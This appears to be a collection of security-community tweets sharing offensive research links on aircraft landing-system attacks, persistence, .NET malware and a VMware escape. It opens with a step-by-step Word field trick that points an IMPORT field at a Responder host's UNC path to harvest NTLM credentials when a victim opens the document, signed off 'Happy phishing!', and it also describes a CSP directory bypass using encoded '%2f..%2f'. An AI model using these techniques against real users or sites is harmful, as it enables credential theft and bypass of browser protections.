Submitted this to MSRC, won't patch, it's a "feature"; Open Word -> CTRL + F9 -> IMPORT "\\\\Responder-IP\\1.jpg" -> right click and select "Edit Field" -> tick "Data not stored in document" -> save & close. Open the document -> free credentials :) Happy phishing!

Wireless Attacks on Aircraft Instrument Landing Systems
https://t.co/mRRTiUKSmg

Persistence: “the continued or prolonged existence of something”
Part 1: https://t.co/pKk9BQoRUI
Part 2: https://t.co/XkwrKgPWqm
Part 3: https://t.co/V7xIaQVkAW

If CSP policy points to a dir and you use %2f to encode "/", it is still considered to be inside the dir. All browsers seem to agree on that.

This leads to a possible bypass, by using "%2f..%2f" if server decodes it, example: https://t.co/Dl9hkKtlQc

.NET malware threat: internals and reversing https://t.co/bUNRmUdvx1

DNS investigation web tools (17 tools): https://t.co/o6eY7OGwKJ

Taking control of VMWare through the universal host controller interface
Part 1: https://www.zerodayinitiative.com/blog/2019/5/7/taking-control-of-vmware-through-the-universal-host-controller-interface-part-1
Part 2: https://www.zerodayinitiative.com/blog/2019/8/15/taking-control-of-vmware-through-the-universal-host-control-interface-part-2

#ITSecurity #pentest #hacking #hack #it